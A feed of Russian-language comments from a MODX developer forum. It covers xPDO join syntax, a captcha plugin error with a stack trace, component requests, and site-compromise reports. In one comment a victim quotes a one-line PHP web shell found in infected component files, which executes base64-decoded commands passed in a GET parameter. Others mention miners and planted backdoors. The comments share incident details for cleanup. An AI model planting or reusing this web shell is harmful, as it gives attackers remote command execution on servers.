Всего 124 713 комментариев

Илья Павлов
20 мая 2025, 22:04
0
я сегодня уже после того как столкнулся с ошибкой обновил до актуальных ModX c 3.0.6 и Formit тоже версия была 2024 года
Артур Шевченко
20 мая 2025, 21:22
+1
Обычно для компонентов не требуется указывать префикс таблиц в методе addPackage().
И кажется ты не понимаешь что это за магические письмена
$q->leftJoin('goodStarVoteCount', 'countaverage', 'modResource.id = countaverage.thread');
Первым аргументом в метод leftJoin передаётся имя класса ('goodStarVoteCount'); вторым псевдоним для таблицы ( 'countaverage'), если не передать будет взято имя класса; третьим аргументом передаётся условие соединение таблиц как в операторе ON в SQL ( 'modResource.id = countaverage.thread').
На чистом SQL запрос будет примерно таким
SELCET `modResource`.`id` as `id`, `countaverage`.`countaverage` as `count` FROM `modx_site_content` as `modResource`
LEFT JOIN `modx_good_stars_vote_count` as  `countaverage` ON `modResource`.`id` = `countaverage`.`thread`
WHERE `modResource`.`published` = 1 AND  `modResource`.`deleted` = 0
Как видишь в секциях SELECT и ON используется псевдоним таблицы, в xPDO тоже надо использовать псевдонимы, если они указаны в leftJoin или setTableAlias. Поэтому вот это всё
'modTemplateVarResource.preview.value as preview',
'modTemplateVarResource.event_date.value as event_date',
'modTemplateVarResource.event_date_end.value as event_date_end',
'modTemplateVarResource.event_city.value as event_city',
'goodStarVoteCount.countaverage as countaverage'
неверно, должно быть так
'preview.value as preview',
'event_date.value as event_date',
'event_date_end.value as event_date_end',
'event_city.value as event_city',
'countaverage as countaverage'
И наконец, чтобы проверить какой же запрос будет выполнен можно сделать так
$q->prepare();
echo $q->toSQL();
Наумов Алексей
20 мая 2025, 21:19
+1
Вы уже второй с такой ошибкой, то ли в свежем MODX что-то изменилось, толи в Formit. Я поправлю в ближайшие дни, постараюсь
Илья Павлов
20 мая 2025, 18:02
0
Добрый день!
Установил, настроил, капча выводится, но если не чекнуть её и отправить форму получаю ошибку:
Failed to load resource: the server responded with a status of 500 ()
Журнал ошибок ModX пуст.
Modx 3.1.2-pl, YaSmartCaptcha 1.0.2-pl, Formit 5.1.1-pl.

В логе сервера такая ошибка:
[Tue May 20 17:49:57 2025] [error] [pid 78865] sapi_apache2.c(358): [client] PHP Fatal error: Uncaught Error: Object of class Sterc\\FormIt could not be converted to string in /public_html/core/components/yasmartcaptcha/model/yasmartcaptcha.class.php:58\nStack trace:\n#0 /public_html/core/components/yasmartcaptcha/model/yasmartcaptcha.class.php(58): str_replace(Array, Array, 'https://smartca...')\n#1 /public_html/core/cache/includes/elements/modx/revolution/modsnippet/52.include.cache.php(42): YaSmartCaptcha->initialize('web', Array)\n#2
/public_html/core/src/Revolution/modScript.php(88): include('/home/p...')\n#3 /public_html/core/src/Revolution/modParser.php(508): MODX\\Revolution\\modScript->process(NULL)\n#4 /public_html/core/components/pdotools/src/Parsing/Parser.php(276): MODX\\Revolution\\modParser->processTag(Array, true)\n#5 /public_html/core/src/Revolution/modParser.php(221): ModxPro\\PdoTools\\Parsing\\Parser->processTag(Array, true)\n#6 /public_html/core/components/pdotools/src/Parsing/Parser.php(73): MODX\\Revolution\\modParser->processElementTags('', '<!doctype html>...', true, false, '[[', ']]', Array, 9)\n#7 /public_html/core/src/Revolution/modResource.php(520): ModxPro\\PdoTools\\Parsing\\Parser->processElementTags('', '<!doctype html>...', true, false, '[[', ']]', Array, 10)\n#8 /public_html/core/src/Revolution/modResource.php(468): MODX\\Revolution\\modResource->parseContent()\n#9 /public_html/core/src/Revolution/modResponse.php(72): MODX\\Revolution\\modResource->prepare()\n#10 /public_html/core/src/Revolution/modRequest.php(154): MODX\\Revolution\\modResponse->outputContent(Array)\n#11 /public
Подскажите, пожалуйста, может я что-то не так настроил?
pandaworks
20 мая 2025, 13:21
0
Да, я так тоже пробовала. Собственно, без подключения goodStar я сразу писала event_city.value. Но, как только подключила рейтинг, так уже тоже не сработало.
Наумов Алексей
20 мая 2025, 12:48
0
В select вот эта цепочка modTemplateVarResource.preview.value выглядит длинновато. Без modTemplateVarResource попробуйте.
Наумов Алексей
19 мая 2025, 20:45
0
Как ни удивительно — но все ж добавил поле), смотрите свежий релиз
Дима Касаткин
19 мая 2025, 18:01
0
Прекрасные новости! Мы мечтали, мы желали, мы просили, мы требовали, и всё это не помогало)) А потом Артур сам захотел обновиться, и мы — счастливы!

Кто ещё не нажал кнопочку «Отправить деньги» в разделе «Поблагодарить автора» под анонсом поста — самое время всем это сделать!
Prihod
19 мая 2025, 16:30
0
Ну так это будет для любого пакета работать. На видео же для MiniShop3 тоже показано
Наумов Алексей
19 мая 2025, 08:25
+4
Привет, почему лог в
core/components/ms_cdek2/services/logs
он же там потом разрастаться будет и никто из разработчиков про это помнить не будет.

Хочется отдельный файл лога — почему не положить рядом со стандартным errors.log что-то типа
core/cache/logs/cdek2.log
?
Дима Касаткин
18 мая 2025, 01:19
0
Класс! Вот бы такое же для MiniShop3! Давно пора DevUX подтягивать в нашей экосистеме!
Дмитрий Середюк
18 мая 2025, 00:45
0
Заметил данный пост, и не я один такой)) Сайт отрубали, пришлось скачивать его на локалку, прогонять через утилиту — ai-bolit.
Сайт был версии 2.7.2
Зараженные директории:
  1. assets/components/formit/js/mgr/widgets/migrate.panel.php
  2. assets/components/migx/js/mgr/widgets/grids/migxgallery.grid.php
  3. assets/components/pdotools/js/pdopage.min.php
Сам код во всех файлах одинаковый
<?php system(base64_decode($_GET['t']))
Ну и да как уже выше писали на уровень выше корня сайта были созданы директории:
.local, .config — в которых и была пакасть.
Компоненты обновил, систему обновил, дрянь удалил.
3й День пока все ок
Ivan K.
17 мая 2025, 21:26
+1
А вы какой планировщик имеете ввиду? (Scheduler — modstore.pro/packages/utilities/scheduler) он?
Но там ведь нет возможности указать периодичность запусков заданий. Только можно указать точное время запуска.
При такой структуре Scheduler'а, для достижения периодичности выполнения нужно будет реализовать логику самоперепланирования внутри скриптов, а первый запуск придется сделать вручную. Это как-то не очень удобно не находите? и не очень надежно. Если вы знаете в каком компоненте есть реализация нормальной работы с этим планировщиком напишите. я гляну, вдруг что-то не так понимаю.
Андрей
16 мая 2025, 14:59
0
Здравствуйте. А с т-банк этот компонент пойдет?
Баха Волков
16 мая 2025, 10:34
+1
Жаль, что редко стал заходить на форум и не успел поставить лайк и поблагодарить. Отличные уроки!
Евгений
15 мая 2025, 21:07
0
У Office есть приятная фича- возможность залогиниться в любого пользователя. Такого функционала у Cabinet не планируется?
Алексей Суслов
15 мая 2025, 19:52
0
Пару дней назад тоже самое у одного клиента. Найти закономерностей или каких-то уязвимых пакетов не получилось.
А вот хостинг как раз Timeweb — и очень похоже, что именно у них где-то дырка. Что характерно — заблокировали молча, без всяких предупреждений о нагрузке — потом изучая график нагрузки стало понятно, что уже больше месяца этот майнер работал.
Так же рекомендую произвести поиск каким-нибудь антивирусам по популярным функциям типа base64_decode или развернуть старый бэкап — так как было найдено 3 бэкдора в разных папках сайта + админер в одной из папок, которых ранее точно не было.
Леонид
15 мая 2025, 16:51
0
Привет, может я и припозднился с ответом, но столкнулся с такой же проблемой спустя 3 года) Помогло такое решение:

&where=`{"properties:LIKE": "%\"rate\":\"5\"%"}`
Дима Касаткин
15 мая 2025, 15:03
+1
Круто! Считай готовый «антивирус». Конечно голосуем за пакет! (и поддержку sсheduler для периодического запуска :))
Алексей
15 мая 2025, 13:54
+1
Хорошее решения для того что бы не отслеживать сайт самому, да ещё и уведомляет в телеграм, интересно на сколько сильно загружает во время обработки, а так супер, если будет приложение, я думаю будет пользоваться спросом